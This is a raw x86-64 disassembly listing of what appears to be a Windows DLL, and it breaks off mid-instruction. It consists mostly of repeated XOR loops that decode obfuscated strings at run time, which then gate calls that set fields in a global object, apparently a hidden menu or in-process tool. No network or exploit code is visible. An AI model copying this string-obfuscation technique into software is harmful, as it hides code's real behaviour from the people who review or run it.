mov eax, dword [0x1801c35f8]
mov r8d, r14d
movsd xmm0, qword [0x1801c35f0]
mov dword [rbp + 0x17e8], eax
movzx eax, byte [0x1801c35fc]
mov byte [rbp + 0x17ec], al
movsd qword [rbp + 0x17e0], xmm0
mov dword [rbp + 0x534], 0x42200000
mov dword [rbp + 0x530], 0xbf800000
cmp r12d, 2
jl 0x180092b1a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c35f0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x17e0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17e4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180092b30
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x17e0]
call fcn.180002c70
test al, al
je 0x180092b84
mov byte [0x18024dc50], 1
jmp 0x180092b91
cmp byte [0x18024dc50], r14b
je 0x180092d0a
mov eax, dword [0x1801c3608]
mov r8d, r14d
movsd xmm0, qword [0x1801c3600]
mov dword [rbp + 0x17f8], eax
movzx eax, byte [0x1801c360c]
mov byte [rbp + 0x17fc], al
movsd qword [rbp + 0x17f0], xmm0
cmp r12d, 2
jl 0x180092cb4
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3600]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x17f0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17f4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17f0]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180092cc1
xor edx, edx
lea rcx, [rbp + 0x17f0]
call fcn.1800203d0
mov byte [0x18024dc50], r14b
mov eax, dword [0x1801c3618]
mov r8d, r14d
movsd xmm0, qword [0x1801c3610]
mov dword [rbp + 0x1808], eax
movzx eax, byte [0x1801c361c]
mov byte [rbp + 0x180c], al
movsd qword [rbp + 0x1800], xmm0
cmp r12d, 2
jl 0x180092e2d
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3610]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1800], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1804]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1804], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1800]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180092e40
xor edx, edx
lea rcx, [rbp + 0x1800]
mov r8d, 0x105
call fcn.180010810
test al, al
je 0x18009316f
movzx eax, byte [0x1801c3630]
mov r8d, r14d
mov byte [rbp + 0x20c8], al
movups xmm0, xmmword [str.sYLHeRXI]
movups xmmword [rbp + 0x20b8], xmm0
cmp r12d, 2
jl 0x180092fcb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x20bc]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180092ed0
cmp r8d, 0x11
jge 0x180093014
movsxd rax, r8d
lea r9, [rbp + 0x20b8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180092fe0
mov qword [rsp + 0x28], r14
lea rdx, [0x18024dc58]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, 9
lea rcx, [rbp + 0x20b8]
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movzx eax, word [0x1801c3634]
lea rdx, [rbp + 0x538]
mov word [rsp + 0x68], ax
lea rcx, [rsp + 0x68]
movzx eax, byte [0x1801c3636]
xor byte [rsp + 0x69], 0x37
xor al, 0x38
mov byte [rsp + 0x6a], al
mov dword [rbp + 0x538], 0x42e60000
mov dword [rbp + 0x53c], 0x42200000
mov byte [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_79
call fcn.180002c70
test al, al
je 0x1800930ca
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x1800930c5
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x1800930c5
mov rcx, qword [rcx + 0x48]
lea rdx, [0x18024dc58]
mov rcx, qword [rcx + 0x20]
call qword [0x180249218]
call fcn.180012180
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.180024b30
call fcn.180016950
addss xmm0, xmm6
call fcn.180025760
movzx ecx, word [0x1801c363c]
lea rdx, [rbp + 0x540]
mov eax, dword [0x1801c3638]
mov dword [rbp + 0x228], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x229], 0x37
xor al, 0x3c
xor byte [rbp + 0x22a], 0x38
xor byte [rbp + 0x22b], 0x39
mov word [rbp + 0x22c], cx
xor cl, 0x3a
xor byte [rbp + 0x22d], 0x3b
mov byte [rbp + 0x22c], cl
lea rcx, [rbp + 0x228]
mov dword [rbp + 0x540], 0x42e60000
mov dword [rbp + 0x544], 0x42200000
mov byte [rbp + 0x228], 0x43
mov byte [rbp + 0x22e], al
call fcn.180002c70
test al, al
je 0x18009316a
call fcn.180012180
call fcn.180014ba0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180093777
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x1800935b6
mov rax, qword [0x180249360]
cmp dword [rcx + rax], 4
jne 0x1800933b6
lea rcx, [rbp + 0x548]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [str.cYTVYP]
movss xmm0, dword [rax]
mov eax, dword [0x1801c3650]
mov dword [rbp + 0x2518], eax
movzx eax, byte [0x1801c3654]
mov byte [rbp + 0x251c], al
movss dword [rbp + 0x550], xmm0
mov dword [rbp + 0x554], 0x42200000
movups xmmword [rbp + 0x2508], xmm1
cmp r12d, 2
jl 0x18009331b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x250c]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180093220
cmp r8d, 0x15
jge 0x180093364
movsxd rax, r8d
lea r9, [rbp + 0x2508]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180093330
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x2508]
call fcn.180002c70
test al, al
je 0x180093937
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180093937
mov rax, qword [0x1802492f0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180093937
mov rax, qword [0x180249360]
mov dword [rdx + rax], 1
jmp 0x180093937
lea rcx, [rbp + 0x558]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [0x1801c3658]
movss xmm0, dword [rax]
movzx eax, word [0x1801c3668]
mov word [rbp + 0x22d8], ax
movzx eax, byte [0x1801c366a]
mov byte [rbp + 0x22da], al
movss dword [rbp + 0x560], xmm0
mov dword [rbp + 0x564], 0x42200000
movups xmmword [rbp + 0x22c8], xmm1
cmp r12d, 2
jl 0x18009351b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x22cc]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180093420
cmp r8d, 0x13
jge 0x180093564
movsxd rax, r8d
lea r9, [rbp + 0x22c8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180093530
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x22c8]
call fcn.180002c70
test al, al
je 0x180093937
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180093937
mov rax, qword [0x1802492f0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180093937
mov rax, qword [0x180249360]
mov dword [rdx + rax], 4
jmp 0x180093937
lea rcx, [rbp + 0x568]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [0x1801c3670]
movss xmm0, dword [rax]
movzx eax, word [0x1801c3680]
mov word [rbp + 0x22c0], ax
movzx eax, byte [0x1801c3682]
mov byte [rbp + 0x22c2], al
movss dword [rbp + 0x570], xmm0
mov dword [rbp + 0x574], 0x42200000
movups xmmword [rbp + 0x22b0], xmm1
cmp r12d, 2
jl 0x18009371b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x22b4]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180093620
cmp r8d, 0x13
jge 0x180093764
movsxd rax, r8d
lea r9, [rbp + 0x22b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180093730
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x22b0]
jmp 0x180093932
lea rcx, [rbp + 0x578]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [str.zX_R]
movss xmm0, dword [rax]
movzx eax, word [0x1801c3698]
mov word [rbp + 0x22a8], ax
movzx eax, byte [0x1801c369a]
mov byte [rbp + 0x22aa], al
movss dword [rbp + 0x580], xmm0
mov dword [rbp + 0x584], 0x42200000
movups xmmword [rbp + 0x2298], xmm1
cmp r12d, 2
jl 0x1800938dc
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x229c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800937e1
cmp r8d, 0x13
jge 0x180093924
movsxd rax, r8d
lea r9, [rbp + 0x2298]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800938f0
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x2298]
call fcn.180002c70
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x588]
call fcn.180016840
movups xmm1, xmmword [0x1801c36a0]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1d70], xmm1
mov dword [rbp + 0x594], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0x590], xmm0
test al, al
je 0x180093ae4
cmp r12d, 2
jl 0x180093aa5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1d74]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800939b0
jmp 0x180093ae4
lea r9, [rbp + 0x1d70]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180093ab0
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x1d70]
call fcn.180002c70
test al, al
je 0x180093b34
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180093b34
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x180093b34
mov rax, qword [0x1802491f8]
mov rbx, qword [0x180249400]
call rax
mov rcx, rax
xor r8d, r8d
mov edx, 1
call rbx
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x598]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c36b8]
mov dword [rbp + 0x1bf8], eax
movzx eax, word [0x1801c36bc]
mov word [rbp + 0x1bfc], ax
movzx eax, byte [0x1801c36be]
movss dword [rbp + 0x5a0], xmm0
movsd xmm0, qword [0x1801c36b0]
mov byte [rbp + 0x1bfe], al
mov dword [rbp + 0x5a4], 0x42200000
movsd qword [rbp + 0x1bf0], xmm0
cmp r12d, 2
jl 0x180093c95
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c36b0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1bf0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bf4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bf4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bf0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180093cb0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x1bf0]
call fcn.180002c70
test al, al
je 0x180093d25
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180093d25
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x180093d25
mov rax, qword [0x180249238]
cmp byte [rax], 0x48
jne 0x180093d25
call rax
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x5a8]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [0x1801c36c0]
movss xmm0, dword [rax]
mov eax, dword [str.__.L]
mov dword [rbp + 0x2668], eax
movzx eax, word [0x1801c36d4]
mov word [rbp + 0x266c], ax
movzx eax, byte [0x1801c36d6]
mov byte [rbp + 0x266e], al
movss dword [rbp + 0x5b0], xmm0
mov dword [rbp + 0x5b4], 0x42200000
movups xmmword [rbp + 0x2658], xmm1
cmp r12d, 2
jl 0x180093eab
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x265c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
